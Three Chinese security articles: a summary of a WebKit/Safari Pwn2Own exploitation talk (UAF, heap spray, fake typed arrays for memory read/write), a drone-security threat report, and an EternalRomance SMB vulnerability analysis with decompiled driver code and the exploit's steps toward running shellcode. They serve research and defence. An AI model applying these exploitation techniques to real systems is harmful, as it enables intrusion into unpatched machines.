Spray，UAF占位、任意地址读写等方面均造成了一定的影响。本议题中介绍了WebKit隔离堆的基本原理，它对今后WebKit漏洞发掘和利用的影响，以及360vulan团队成员在Mobile
Pwn2Own比赛前针对隔离堆机制实现的Exploit预案。
## 作者介绍
**郝力男** ([@holynop](https://mobile.twitter.com/holynop))在Qihoo 360 Vulcan
Team从事漏洞相关研究。随团队参加pwn2own 2015/2016/2017/pwnfest 2016/mobile pwn2own
2017，参与过一些微软的赏金计划Microsoft Mitigation Bypass Bounty, Microsoft Edge Bounty,
MSRC Top 100 2015/2016/2017等，曾在一些安全会议上发表文章如Blackhat/44CON/HITB等。
**刘龙** 是360Vulcan团队的安全研究员，从事漏洞挖掘和利用方面的工作。他参加了Pwn2Own 2017和Mobile Pwn2Own
2017，并成功挑战了相关项目。他连续三年入选MSRC Top 20名单。
**招啟汛** 是奇虎360 Vulcan
Team的成员，微博ID是[@老实敦厚的大宝](https://weibo.com/babyboaes)。专注于各个主流浏览器安全和macOS/iOS系统安全,沙箱逃逸。曾参加Pwn2Own
2017和Mobile Pwn2Own 2017攻破浏览器项目。多次攻破Edge浏览器获得RCE并取得微软Edge CVE公开致谢,在MSRC
2017中排名43。多次攻破Chrome浏览器获得RCE并取得谷歌Chromium CVE公开致谢。同时多次获得苹果CVE致谢,独立发现多个Safari
RCE，苹果内核本地提权等漏洞。
## 议题解析
在Mobile Pwn2Own 2017中我们成功pwn了两个iPhone相关的项目，分别是Apple Safari和WiFi。其中WiFi项目的要求如下：
在该项目中，我们利用iPhone连接WiFi时自动弹出的登录界面实现RCE：
该界面是通过WebCore解析渲染的，所以我们首先介绍了我们在比赛中用到的一个WebCore DOM UAF 漏洞，该漏洞POC如下：
该漏洞的成因如下图所示：
设置了form属性的button对象和form对象的关系图如上图所示，注意button的父类FormAssociatedElement包含m_form成员变量和setform函数,form的m_associatedElements成员变量中含有对button的引用。
获取了form的elements属性后，form创建了包含button引用的nodeLists成员。释放button时，button的析构函数调用setform（0），setform调用removeFormElement，removeFormElement将form的m_associatedElements成员中的button移除，但nodeLists中的button没有被移除，所以释放的button可通过form.elements访问。
要利用这个漏洞，需要先看看HTML*Element对象的结构：
一个html对象要在js层面使用，需要一个wrapper，这个wrapper的值指向WeakImpl对象。WeakImpl对象的m_jsValue指向表示这个dom对象的JSValue对象。JSValue表示一个js可操作的实体，一个JSValue可以表示很多JavaScript原始类型例如boolean,
array, 甚至包括对象和函数。
Js层面执行uaf=Collections[‘id’]后的调用栈如下图：
我们具体看看WebCore::namedItems的实现。在WebCore::namedItems中可以看到如果获取到的button对象的m_wrapper非空，且满足一定的条件，其指向的m_jsValue会被作为结果返回。那么我们可以利用typedarray
buffer占位，控制其中的m_wrapper值，让它最终指向一个我们伪造的Float64Array，然后通过上面的调用，在js层面获取到这个伪造的Float64Array。
由于比赛版本的Safari的ASLR实现不是很完善，我们可以利用array和typed array进行精确堆喷。堆喷后的内存布局如下图：
我们在堆喷的时候在typedarray的buffer里伪造两个结构：WeakImpl和Float64Array，其中WeakImpl中的m_jsValue值为伪造的Float64Array地址。
比赛时的safari版本还没开启隔离堆，所以我们用typed array
buffer占位，所有字段都是可控的。我们将+8的位置指向spray的typedarray的buffer处，这样我们就可以通过collection[‘id’]获取到伪造的Float64Array。我们对其进行如下操作：
1.写fakedFloat64Array，然后遍历spray的typedarray，找到被修改的是哪个，后面就可以通过这个typedarray来改变我们伪造的Float64Array的pVectors值，做到任意地址读写；
2.修改pVectors值，使其指向spray的array butterfly,然后写fakedFloat64Array，用同样的方法找到被修改的array
butterfly，用它来泄露任意对象地址。至此我们完成了对该漏洞的利用。
接下来我们着重讲的是JavaScript引擎的JIT编译器,事实证明,这个部分出现的漏洞的频率十分高，而且可利用性与稳定性都很好.与以往不同的是,我们在议题中不仅仅解读我们去年mp2o使用的各种浏览器漏洞,更着重于解读浏览器JIT的概念与一些机制,漏洞的挖掘过程.
首先我们介绍在Safari的JIT编译器,他的结构图如下:
我们可以看到编译器是一个十分庞大而又复杂的模块,而通过OSR机制,编译的代码可能在不同层次的优化编译器中切换.这是Safari中JIT的一种机制,可以兼并效率和安全两种特点.
下面在看看DFG的优化部分:
在议题中我们解读了一些JSC中的概念,例如structure,jsc的OSR机制,因为有OSR机制的存在,所以才避免了JIT中的一些type
confusion,OOB R/W的问题.
JSC中的OSR机制的优点与缺点,还有与其他浏览器的比较。
解析完JSC中的OSR机制后,根据OSR机制的弱点,我们挖掘出的一些在mp2o上使用的漏洞:
这是漏洞的原始状态,但是在比赛前修复了,但是修复并不完全,我们发现这个修复很奇怪似乎苹果开发者并没有意识到问题的根本原因
我们在修复以后,发现了修复的绕过方法,也是我们最终在比赛使用的漏洞.在比赛前准备了很多的Safari漏洞,之所以选择这个是因为我们抽签在最后一个,所以选择了一个隐藏最深的,最不可能和别人撞洞的bug:
接下来介绍一下safari中的缓解机制 – 隔离堆:
在去年比赛中，发行版中并没有开启，但在当时的预览版已经存在了。所以为了保险起见 我们也对这个机制做了调研。这个缓解机制的引入会对我们造成怎样的影响呢？
如上所述，主要会导致一些UAF无法利用，并且全地址读写也收到影响，这里我们解释下为何使用Float64Array读写会受影响。
代码的注释说明中已经说的很清楚了，它保留了一个区域，留给索引类型的数据结构，如array/typed
array，那么这个g_gigacageBasePtrs又是在哪里使用的呢？
观察Float64Array的setIndex函数，当我们要写入数据时，它会做一个重定位，重定位的基地址正是刚才的g_gigacageBasePtrs，经过几步简单的映射计算，得到在保留区域的最终目的地址，最后写入的位置也是在这个安全的位置。
它的实现我们了解了，那么绕过的方案应该从哪方面入手呢？
可以从几个大方向去考虑，我们也分别找到了对应的绕过方案，在这个会议前几天，_niklasb也公开了一种绕过方案
他的思路属于上面列举的第二种，具体实现可以参照他的利用代码
<https://github.com/phoenhex/files/blob/master/exploits/ios-11.3.1/pwn_i8.js>
最后我们还介绍了准备在mp2o上使用的chrome bug,这个漏洞在chrome的正式版上消失了又在比赛前重新出现,最终直接报告给了google:
会议的最后,我们放出一个彩蛋demo,就是最新版iOS 12上面通过Safari浏览器远程越狱的视频。 | 社区文章 |
# 智胜空天·安全护航 | 无人机系统安全问题和防护技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文为《智胜空天·安全护航》无人机现状观察及安全分析报告解读系列的第二篇。无人机安全既是保障产业高质量发展的基础，又是未来领域能力建设的刚性要求，为此报告着眼于无人机系统的安全性，梳理无人机国内外安全研究动态，并对无人机所面临的安全威胁进行阐述和分析，提出相应的加固或防护建议。
## 一、无人机系统
无人机系统主要由三大部分组成，包含无人机机体、地面站以及传输信息的通信链路。地面控制系统负责接收地面站的控制命令，并将命令发送给无人机，以控制无人机的飞行。无人机接收到地面控制系统的控制命令后，通过飞行控制系统对电机和舵机进行控制，从而实现飞行。同时，无人机的传感器负责收集无人机的运动状态信息，并将信息传递给地面控制系统。地面控制系统接收到无人机的运动状态信息后，将信息传递给地面站，地面站则根据无人机的运动状态信息，进行相应的处理，并向地面控制系统发送新的控制命令，以指导无人机的飞行。这样，无人机系统就能够通过地面站对无人机进行远程控制，实现无人机的飞行。
## 二、国内外安全研究动态
01 无人机劫持攻击
2022年，BlackHat欧洲大会上，某研究员展示了对无人机的劫持攻击。通过研究无人机的信号，分析出无人机的跳频规律以及无线协议格式，实现了一个伪造的地面控制器来劫持空中飞行的无人机。
02 针对无人机的模糊测试
2020年8月，某大学的研究人员针对消费级无人机使用模糊测试方法进行网络安全评估，在其研究成果中作者探讨了一个新的无人机漏洞，并给出了相应的安全保护措施。作者使用模糊测试的方法发送变异数据到无人机的FTP端口，并向无人机的其他端口也发送了大量数据报文。在测试中，持续监测无人机相关性能，以确定特定故障的模式和漏洞影响。这个模型被应用于ParrotBebop2，在测试过程中，ParrotBebop2的GPS性能下降、视频速度、无人机对地面站的响应速度、无人机传感器数据的准确性均受到相应影响。
03 无人机渗透测试框架
2019年，BlackHat欧洲大会上展示了一款针对无人机的渗透测试工具“DroneSploit”，这是为无人机黑客量身定制的一个类似Metasploit的框架。据介绍，DroneSploit只针对Wi-Fi控制的无人机（例如ARDrone、DJITello、MavicMini），但不支持基于射频（RF）的无人机（如DJIPhantom4、MavicPro等）。该工具旨在帮助发现无人机安全漏洞。
04 无人机攻击家用智能设备
2019年，Defcon大会上，某安全研究员展示了如何利用无人机攻击现代智能电视。在其公布的一段视频中，他使用DJI四轴飞行器悬挂一个配备有软件装置的无线电信号放大器，靠近邻居房屋顶部的电视接收天线，由于无人机携带的设备信号压制了智能电视原有的合法信号，很快，邻居家的电视屏幕上出现了Defcon字样的画面。很显然，无人机接管了邻居家的智能电视。
## 三、无人机系统攻击面
01 固件
**攻击面分析**
1.无人机序列号和重要部件编号是否存在未授权修改，特别是序列号，修改序列号可导致伪造其他用户的无人机，造成安全问题。
2.固件升级过程中存在恶意修改固件升级包的可能性，进而给无人机引入漏洞或后门。
**安全加固建议**
1、通过Anti-rollback机制防止无人机回滚到有漏洞的版本；
2、对固件本身进行保护，用数字签名技术来验证固件的真实性，通过加密技术来保护其中的数据；
3、限制硬件调试接口SWD、JTAG的滥用，服务、端口最小化。
02 软件服务
**攻击面分析**
软件服务方面，以下四类可能是关键的目标：飞行关键服务（如无人机飞行控制程序）、飞行支撑服务（FTP、RTP）、调试服务（ADB、TELNET、SSH）、网络服务（DHCP、mDNS）。
**安全加固建议**
1、开源组件尽量使用最新版本以缓解Nday漏洞的利用；
2、关键端口服务尽量不直接对外暴露，特别是调试类服务；
3、核心飞行服务进程可考虑使用内存安全语言进行重写。
03 无线通信
**攻击面分析**
1、 无线信号干扰、嗅探、欺骗；
2、 Wi-Fi协议栈漏洞、Wi-Fi Deauth攻击、Wi-Fi密码可预测；
3、 GPS欺骗。
**安全加固建议**
1、使用长度较长的跳频序列；在上层设计更加安全的传输协议，包括使用数据加密以及签名技术；分别从信号处理层面、信息处理层面检测欺骗，从协议设计上防止无线信号被简单的重放。
2、厂商做好漏洞管理，及时推送补丁对射频芯片以及无人机本身进行缓解；使用增强型WPA或WPA2加密；将Wi-Fi密码的设置权交给用户，并保证密码的强度。
3、使用多种不同的定位技术校验GPS信号的准确性；将依靠无人机自身传感器确定位置的自主定位技术作为备用措施；当系统发现GPS信号存在异常时，自动切换到备用定位方式。
04 应用协议
**攻击面分析**
Mavlink是一种非常轻量级的消息传输协议，用于地面站与无人机（以及机载无人机组件之间）进行通信，在各种消费级无人机中应用非常广泛。但是MavLink在协议设计之初就没有实现安全访问功能，MavLink的安全性依赖于底层协议，例如Wi-Fi安全，无线跳频通信等。攻击者只要攻破了底层协议的安全性，那么Mavlink协议就毫无安全性可言。
**安全加固建议**
在开源的Mavlink基础上，加入协议加密、数据签名、访问认证的部分。即使攻击者能攻破物理层协议，由于上层协议是加密签名的，依然可以保证无人机系统的通信安全。
05 传感器
**攻击面分析**
干扰陀螺仪、雷达传感器、超声波传感器、摄像头
**安全加固建议**
1、减少传感器对外部信号的暴露；
2、在不影响正常信号的情况下衰减恶意信号；
3、增加传感器的随机性；
4、改进组件质量；
5、融合多个或多种传感器在不同空间、时间或频率上的测量结果。
## 四、无人机产品安全通用建议
01 代码加固
1.为了提高代码的安全性，需要增强安全开发意识，遵守代码安全编写规范，严格杜绝危险函数的使用。
2.无人机产品的很多安全问题是由于引入了过时依赖库引起的，例如老旧版本的OpenSSL库、FTP库等，因此建议在保证兼容性的情况下，使用最新版本的依赖库以及操作系统。
02 安全测试
在无人机产品开发过程中，建议加入安全测试流程，帮助开发人员发现产品中潜在的安全性问题。也可借助开源的模糊测试工具测试协议栈、解析库等代码的健壮性。
03 漏洞管理
建议建立并完善漏洞收集机制和流程，有助于厂商及时发现缺陷，推送固件或软件更新。
## 五、未来发展
01 无人机技术发展
**电池技术**
电池是直接制约无人机发展与应用的关键因素，因此亟待大幅度提高电池的能量和功率密度以及安全性。
**通信系统**
公共无线电通信链路，抗干扰能力弱，尤其是同频干扰无法避免。民用无人机尤其消费级无人机受影响最大。
**定位导航**
无人机的定位功能是无人机自主导航的前提。未来有更多应用场景需要高精度、高可靠性、高抗干扰性的无人机，多种导航技术结合将是未来发展的方向。
**避障技术**
避障技术对确保公共安全至关重要，现有的解决方案仍处于探索阶段。主流的无人机避障技术有：超声波避障、红外避障、视觉避障和激光避障。
**自动飞行**
该技术的发展将在矿场采集、管道运输监控和建筑相关的场景中发挥极大作用。
**AI算法应用**
使用基于AI的路径规划和机器视觉技术，使无人机更加智能。
**网联无人机**
网联无人机采用多无人机协同工作的方式，能够实现更加高效和精确的作业。
02 反无人机技术
**反无人机解决方案和措施**
1\.
反无人机解决方案可分为三种类型：检测、非交互措施和拦截。检测：使用声学、热学、雷达、视觉等传感器或无线电频率(RF)发现无人机；非交互措施：发出警报、关闭Wi-Fi、干扰无人机摄像头等；拦截：激光、捕捉网、射频/GNSS干扰等；
**发展方向展望**
2\. 更具有针对性：对特定型号的无人机进行有针对性的信号压制及欺骗；更加智能化：自动化发现、识别、跟踪无人机目标。
03 无人机防护技术
**隐身化**
隐身化是目前无人机发展的重要方向之一,是高端无人机的重要技术瓶颈之一。隐身技术是对目标特征信号进行有效控制和抑制的技术，主要包括雷达隐身、红外隐身等。
**防破解**
防破解是目前无人机尤其消费级无人机防护的重点之一。遭破解后的无人机可绕过厂商本身的各种限制，尤其是绕过禁飞区限制。因此需要厂商及时对软件、固件存在的已知问题进行更新，并在未来从硬件层面使用诸如安全芯片等技术来保证无人机的安全。 | 社区文章 |
来源： **[360安全卫士技术博客](http://blogs.360.cn/360safe/2017/04/19/eternalromance-analyze/)**
作者：[pgboy](http://weibo.com/pgboy1988) && [zhong_sf
](http://weibo.com/2641521260)
## 1 环境
**EXPLOIT:** Eternalromance-1.3.0
**TARGET:** windows xp sp3
**FILE:** srv.sys 5.1.2600.5512
## 2 Exploit使用
我们可以发现工具包中有两个Eternalromance, 一个1.4.0,
另外一个是1.3.0。经过我一翻折腾也没有把1.4.0跑起来。无奈试了下1.3.0发现竟然能成功运行。因此便有了这篇分析。大家可能都会用fuzzbunch这个命令行了。但是我们调试的时候总不能调一次都要重新输入TargetIp等那些配置吧。告诉大家一个省劲的方法。首先fuzzbunch按正常流程走一遍。在最后跑起exp的时候，在Log目录下会生成一个xml的配置文件。然后大家就可以用Eternalromance.1.3.0
--inconfig "xml路径" 来调用了。还有就是你也可以改exploit下的那个配置文件不过你得填非常多的参数。
## 3 基础知识
不想看的同学可以直接跳到 漏洞相关的重点那里
### 3.1 SMB Message structure
SMB Messages are divisible into three parts:
* fixed-length header
* variable length parameter block
* variable length data block
header的结构如下：
SMB_Header
{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
更详细见 (https://msdn.microsoft.com/en-us/library/ee441702.aspx)
### 3.2 SMB_COM_TRANSACTION (0x25)
为事务处理协议的传输子协议服务。这些命令可以用于CIFS文件系统内部通信的邮箱和命名管道。如果出书的数据超过了会话建立时规定的MaxBufferSize，必须使用
SMB_COM_TRANSACTION_SECONDARY 命令来传输超出的部分：
SMB_Data.Trans_Data 和 SMB_Data.Trans_Parameter。这两部分在初始化消息中没有固定。
如果客户端没有发送完所有的SMB_Data.Trans_Data，会将DataCount设置为小于TotalDataCount的一个值。同样的，如果SMB_Data.Trans_Parameters没有发送完，会设置ParameterCount为一个小于TotalParameterCount的值。参数部分优先级高于数据部分，客户端在每个消息中应该尽量多的发送数据。服务器应该可以接收无序到达的SMB_Data.Trans_Parameters
和 SMB_Data.Trans_Data，不论是大量还是少量的数据。
在请求和响应消息中，SMB_Data.Trans_Parameters 和SMB_Data.Trans_Data
的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,
SMB_Parameters.DataOffset 和 SMB_Parameters.DataCount
决定。另外需要说明的是，SMB_Parameters.ParameterDisplacement
和SMB_Parameters.DataDisplacement 可以用来改变发送数据段的序号。服务器应该优先发送
SMB_Data.Trans_Parameters。客户端应该准备好组装收到的 SMB_Data.Trans_Parameters 和
SMB_Data.Trans_Data，即使它们是乱序到达的。 The PID, MID, TID, and UID MUST be the same
for all requests and responses that are part of the same transaction.
更详细看 (https://msdn.microsoft.com/en-us/library/ee441489.aspx)
### 3.3 SMB_COM_TRANSACTION_SECONDARY(0x26)
此命令用来完成SMB_COM_TRANSACTION中未传输完毕数据的传输。在请求和响应消息中，SMB_Data.Trans_Parameters和SMB_Data.Trans_Data的位置和长度都是由SMB_Parameters.ParameterOffset、SMB_Parameters.ParameterCount,SMB_Parameters.DataOffset和SMB_Parameters.DataCount决定。另外需要说明的是，SMB_Parameters.ParameterDisplacement和SMB_Parameters.DataDisplacement可以用来改变发送数据段的序号。服务器应该优先发送SMB_Data.Trans_Parameters。客户端应该准备好组装收到的SMB_Data.Trans_Parameters和SMB_Data.Trans_Data，即使它们是乱序到达的。
更详细看 (https://msdn.microsoft.com/en-us/library/ee441949.aspx)
### 3.4 SMB_COM_WRITE_ANDX (0x2F)
结构如图：
更详细看 (https://msdn.microsoft.com/en-us/library/ee441848.aspx)
### 3.5 总结下漏洞相关的重点
1. 客户端处理SMB_COM_TRANSACTION命令的时候如果数据大小超过MaxBufferSize，则需要使用SMB_COM_TRANSACTION_SECONDARY传输剩下的数据。
2. 对于作为同一Transcation部分的所有请求和响应，PID，MID，TID和UID必须相同。
## 4 漏洞分析
### 4.1 SrvSmbTransactionSecondary
结合上一节的重点中提到的。
如果我们先发送了一个数据大小大于MaxBufferSize的SMB_COM_TRANSACTION数据包。那么接下来肯定是要发送SMB_COM_TRANSACTION_SECONDARY来传输剩余的数据，那么服务器在收到处理SMB_COM_TRANSACTION_SECONDARY这个命令的时候肯定会找他对应的那个Transcation。同时服务器也可能同时收到很多个包含SMB_COM_TRANSACTION_SECONDARY命令的数据包。怎么定位某个MB_COM_TRANSACTION_SECONDARY数据包对应的SMB_COM_TRANSACTION数据包呢？重点里也提到了。如果MB_COM_TRANSACTION_SECONDARY数据包中的PID,MID,TID和UID和SMB_COM_TRANSACTION数据包中的相同，那么就认为是同一部分的请求。
代码是这么实现的。
int __thiscall SrvSmbTransactionSecondary(int this)
{
int v1; // ebx@1
int pSmbParamter; // edi@1
TRANSCATION *pTransation; // eax@1 MAPDST
unsigned int ParameterDisplayment; // ecx@10 MAPDST
size_t ParameterSize; // eax@10 MAPDST
size_t DataSize; // edx@10 MAPDST
int pTransList; // [sp+Ch] [bp-24h]@1
PERESOURCE Resource; // [sp+18h] [bp-18h]@26
struct _ERESOURCE *Resourcea; // [sp+18h] [bp-18h]@30
int pSmbHeader; // [sp+1Ch] [bp-14h]@1
int ParameterOffset; // [sp+20h] [bp-10h]@10
int DataOffset; // [sp+28h] [bp-8h]@10
v1 = this;
pSmbParamter = *(_DWORD *)(this + 0x6C);
pSmbHeader = *(_DWORD *)(this + 0x68);
pTransList = *(_DWORD *)(this + 0x4C);
//
// 首先查找SMB_COM_TRANSACTION_SECONDARY对应的SMB_COM_TRANSACTION
//
pTransation = (TRANSCATION *)SrvFindTransaction(pTransList, pSmbHeader, 0);
if ( !pTransation )
{
return 2;
}
if ( !*(_BYTE *)(pTransation->field_10 + 0x98) )
{
ParameterDisplayment = *(_WORD *)(pSmbParamter + 9);
ParameterOffset = *(_WORD *)(pSmbParamter + 7);
ParameterSize = *(_WORD *)(pSmbParamter + 5);
DataOffset = *(_WORD *)(pSmbParamter + 0xD);
DataSize = *(_WORD *)(pSmbParamter + 0xB);
DataDisplayment = *(_WORD *)(pSmbParamter + 0xF);
if ( pTransation->field_93 )
{
//...
}
else
{
//Check
Resource = *(PERESOURCE *)(*(_DWORD *)(v1 + 0x60) + 0x10);
if ( ParameterSize + ParameterOffset > *(_DWORD *)(*(_DWORD *)(v1 + 0x60) + 0x10)
|| DataOffset + DataSize > (unsigned int)Resource
|| ParameterSize + ParameterDisplayment > pTransation->TotalParameterCount
|| DataSize + DataDisplayment > pTransation->TotalDataCount )
{
//CheckFaild
}
else
{
if ( pTransation->field_94 != 1 )
{
//
// 这里将SMB_COM_TRANSACTION_SECONDARY传过来的Parameter和Data都保存
// 到Transaction中
//
//拷贝Parameter Buffer
if ( ParameterSize )
_memmove(
(void *)(ParameterDisplayment + pTransation->ParameterBuffer),
(const void *)(pSmbHeader + ParameterOffset),
ParameterSize); // parameter
//复制Data Buffer,这里注意下，下面会提到！！
if ( DataSize )
_memmove(
(void *)(DataDisplayment + pTransation->DataBuffer),
(const void *)(pSmbHeader + DataOffset),
DataSize); // data
return 2;
}
}
}
}
return 1;
}
这个SMB_COM_TRANSACTION_SECONDARY命令的处理函数的大体流程就是首先查找SMB_COM_TRANSACTION_SECONDARY对应的SMB_COM_TRANSACTION如果找到就将SMB_COM_TRANSACTION_SECONDARY中的Parameter和Data都复制到SMB_COM_TRANSACTION中去。
### 4.2 SrvFindTransaction
下面来看下查找的逻辑`SrvFindTransaction`:
int __stdcall SrvFindTransaction(int a1, int pSmbHeaderOrMid, int a3)
{
SMB_HEADER *pSmbHeader_; // edi@1
struct _ERESOURCE *v4; // ebx@4
_DWORD **pTransList; // edx@4
_DWORD *i; // ecx@4
TRANSCATION *v7; // eax@5
int v9; // esi@14
pSmbHeader_ = (SMB_HEADER *)pSmbHeaderOrMid;
//
// command 0x2f is SUM_CMD_WRITE_ANDX
// a3 = SUM_CMD_WRITE_ANDX->Fid
//
if ( *(_BYTE *)(pSmbHeaderOrMid + 4) == 0x2F )
pSmbHeaderOrMid = a3;
else
LOWORD(pSmbHeaderOrMid) = *(_WORD *)(pSmbHeaderOrMid + 0x1E);
v4 = (struct _ERESOURCE *)(a1 + 0x130);
ExAcquireResourceExclusiveLite((PERESOURCE)(a1 + 0x130), 1u);
pTransList = (_DWORD **)(*(_DWORD *)(a1 + 0xF4) + 8);
for ( i = *pTransList; ; i = (_DWORD *)*i )
{
if ( i == pTransList )
{
//
// 查到最后了退出
//
ExReleaseResourceLite(v4);
return 0;
}
//
// 这里是对比TID，PID，UID,MID
// 这里注意这个MID,如果命令是SUM_CMD_WRITE_ANDX MID就是SUM_CMD_WRITE_ANDX MID数据包中的Fid
//
v7 = (TRANSCATION *)(i - 6);
if ( *((_WORD *)i + 47) == pSmbHeader_->TID
&& v7->ProcessId == pSmbHeader_->PIDLow
&& v7->UserId == pSmbHeader_->UID
&& v7->MutiplexId == (_WORD)pSmbHeaderOrMid )// MutilplexId如果名令时SMB_CMD_WRITE_ANDX那么这里是Fid
{
break;
}
}
if ( BYTE1(v7->field_0) == 2 )
{
_InterlockedExchangeAdd((volatile signed __int32 *)(v7->field_8 + 4), 1u);
v9 = (int)(i - 6);
}
else
{
v9 = 0;
}
ExReleaseResourceLite(v4);
return v9;
}
大家可以看下逻辑。重点在这里如果命令是SMB_CMD_WRITE_ANDX(0x2f)话那么MID的对比就不一样了，这里是用Transaction->MID和SMB_CMD_WRITE_ANDX->Fid比较。如果一样返回pTransaction。那么问题来了。如果服务器端正好有一个其他的Transaction->MID恰好和SMB_CMD_WRITE_ANDX->Fid的相等那么将会返回一个错误的pTransaction。很经典的类型混淆。
处理SUM_CMD_WRITE_ANDX的函数SrvSmbWriteAndX代码如下:
signed int __thiscall SrvSmbWriteAndX(int this)
{
...略
pTrans = (TRANSCATION *)SrvFindTransaction(pTransList, pSmbTranscationBuffer, Fid);
pTrans_ = pTrans;
if ( !pTrans )
{
if ( (unsigned int)SrvWmiEnableLevel >= 2 && SrvWmiEnableFlags & 1 && KeGetCurrentIrql() < 2u )
WPP\_SF_(64, &unk_1E1CC);
v40 = "d:\\xpsp\\base\\fs\\srv\\smbrdwrt.c";
v37 = 3216;
goto LABEL_69;
}
if ( pTrans->TotalDataCount - pTrans->nTransDataCounts < v11 )
{
SrvCloseTransaction(pTrans);
SrvDereferenceTransaction(pTrans_);
_SrvSetSmbError2(v1, 0x80000005, 0, 3238, (int)"d:\\xpsp\\base\\fs\\srv\\smbrdwrt.c");
StatusCode = 0x80000005;
goto LABEL_100;
}
v31 = Size;
qmemcpy((void *)pTrans->DataBuffer, VirtualAddress, Size);
//
// ！！！！这里将DataBuffer指针给增加了！！！！
//
pTrans_->DataBuffer += Size;
pTrans_->nTransDataCounts += v31;
...略
}
看到`pTrans_->DataBuffer +=
Size`这句相信大家就能明白了。这里将DataBuffer的指针增大了。再处理此Transcation的SMB_COM_TRANSACTION_SECONDARY命令的时候也就是
**SrvSmbTransactionSecondary中复制Data的`memcpy`可就越界了！！！！！** 所以此漏洞可以总结成类型混淆造成的越界写。
### 4.3 抓包Demo
通过对Exploit抓包我们可以看到其漏洞触发过程。
首先发送SMB_COM_TRANSACTION命令创建一个TID=2049 PID=0 UID=2049
MID=16385(0x4001)的Transcation：
然后发送SMB_CMD_WRITE_ANDX命令还增加`pTrans_->DataBuffer`这个指针：
## 5 漏洞利用
从上面描述可以看出，该漏洞为类型混淆导致的越界写漏洞。前期通过spray
使多个TRANSACTION相邻，然后让其中一个TRANSACTION触发该漏洞，再通过该TRANSACTION越界写其相邻的TRANSACTION
spary 最终 memory view: 
spray的目的是构造出下出三个相邻的transaction, 其中`write_transaction` 主要用于写操作，leak_transaction
主要用于信息泄露，而`control_transaction`为触发漏洞的transaction,触发之后其他`InData`字段会增加0x200,
以致于可写的范围可以向后延伸0x200.利用于这点可以写与其相依的`write_transaction`的`InData`字段。从面达到任意地址写的效果。
注: 本次调试中 control_transaction地址为：0x58b90, write_transaction地址为: 0x59c38,
leak_transaction地址为:0x5ace0
其中TRANSACTION 结构部份如下：
typedef struct _TRANSACTION {
//...
/*+0xc*/ LPVOID Connection;
//...
/*+0x34*/ LPWORD InSetup;
//...
/*+0x40*/ LPBYTE OutParameters;
/*+0x44*/ LPBYTE InData; /*写的目的地址*/
/*+0x48*/ LPBYTE OutData; /*读的目的地址*/
//...
/*+0x60*/ DWORD DataCount; /*控制可读的长度*/
/*+0x64*/ DWORD TotalDataCount
}TRANSACTION
写操作：
SMB_PROCESSOR_RETURN_TYPE SrvSmbTransactionSecondary (
SMB_PROCESSOR_PARAMETERS
)
{
//...
request = (PREQ_TRANSACTION_SECONDARY)WorkContext->RequestParameters;
header = WorkContext->RequestHeader;
transaction = SrvFindTransaction( connection, header, 0 );
//...
dataOffset = SmbGetUshort( &request->DataOffset );
dataCount = SmbGetUshort( &request->DataCount );
dataDisplacement = SmbGetUshort( &request->DataDisplacement );
//...
// Copy the parameter and data bytes that arrived in this SMB.
//...
if ( dataCount != 0 ) {
RtlMoveMemory(
transaction->InData + dataDisplacement,
(PCHAR)header + dataOffset,
dataCount);
}
//...
}
读操作：
VOID SrvCompleteExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext,
IN SMB_TRANS_STATUS ResultStatus)
{
//...
transaction = WorkContext->Parameters.Transaction;
header = WorkContext->ResponseHeader;
transactionCommand = (UCHAR)SmbGetUshort( &transaction->InSetup[0] );
//...
// Copy the appropriate parameter and data bytes into the message.
if ( paramLength != 0 ) {
RtlMoveMemory( paramPtr, transaction->OutParameters, paramLength );
}
if ( dataLength != 0 ) {
RtlMoveMemory( dataPtr, transaction->OutData, dataLength );
}
//...
}
从exp运行的log可以看出该漏洞利用分为两部份：信息泄露 与 代码执行 
### 5.1 信息泄露
需要泄露的信息包括 `Transaction2Dispatch` Table基址 与 一块NonePagedPool Buffer地址.
通过修改`Transaction2Dispatch` Table中的函数指针来执行 shellcode， 其中NonePagedPool
Buffer就是用于存放shellcode.
#### 5.1.1 泄露Transaction2Dispatch Table基址
从exp运行的log可以看出首先泄露CONNECTION结构基址：CONNECTION地址存放于`TRANSACTION->Connection`字段。看到这，你可能已经想到该怎么做了：直接利用`constrol
transaction`的0x200字节的越界能力修改`write_transaction`的`DataCount`字段让其可以越界读`leak_transaction`上的内容，从而读出`TRANSACTION->Connection`。
但exp作者却并没有这么做，这里并不打算深究其原因，或许是有其他限制，或许不是。 作者这里利用了另一种复杂不少方法，通过另一种方法修改
`write_transaction`的`DataCount`字段。
##### 5.1.1.1 write_transaction初始状态如下:
可以看出CONNECTION地址为：`89a29c18`，`OutData为0x5acd4 (==
59c38+0x109c)`已经是`write_transaction`的末尾，所以其`DataCount`为0,表示不可读。
##### 5.1.1.2 修改write_transaction->DataCount
首先
修改`write_transaction`的InSetup为0x23，这点通过`control_transaction`很容易完成。之后发包触发写`write_transaction`操作，会走到：
SMB_STATUS SRVFASTCALL ExecuteTransaction (
IN OUT PWORK_CONTEXT WorkContext)
{
//...
transaction = WorkContext->Parameters.Transaction;
//...
command = SmbGetUshort(&transaction->InSetup[0]);
//...
switch( command ) {
case TRANS_TRANSACT_NMPIPE:
resultStatus = SrvTransactNamedPipe( WorkContext );
break;
case TRANS_PEEK_NMPIPE: //0x23
resultStatus = SrvPeekNamedPipe( WorkContext );
break;
case TRANS_CALL_NMPIPE:
resultStatus = SrvCallNamedPipe( WorkContext );
break;
//...
}
//...
}
由于之前已经将`write_transaction`的`InSetup`修改为0x23, 所以会`call SrvPeekNamedPipe`。
# ChildEBP RetAddr
00 b21f8d44 b24cdcce srv!ExecuteTransaction+0x23b (FPO: [0,0,0])
01 b21f8d7c b248a836 srv!SrvSmbTransactionSecondary+0x2f1 (FPO: [Non-Fpo])
02 b21f8d88 b249ad98 srv!SrvProcessSmb+0xb7 (FPO: [0,0,0])
03 b21f8dac 805c7160 srv!WorkerThread+0x11e (FPO: [Non-Fpo])
04 b21f8ddc 80542dd2 nt!PspSystemThreadStartup+0x34 (FPO: [Non-Fpo])
05 00000000 00000000 nt!KiThreadStartup+0x16
`SrvPeekNamedPipe()` 调用`IoCallDriver`最终调到 `RestartPeekNamedPipe()`函数
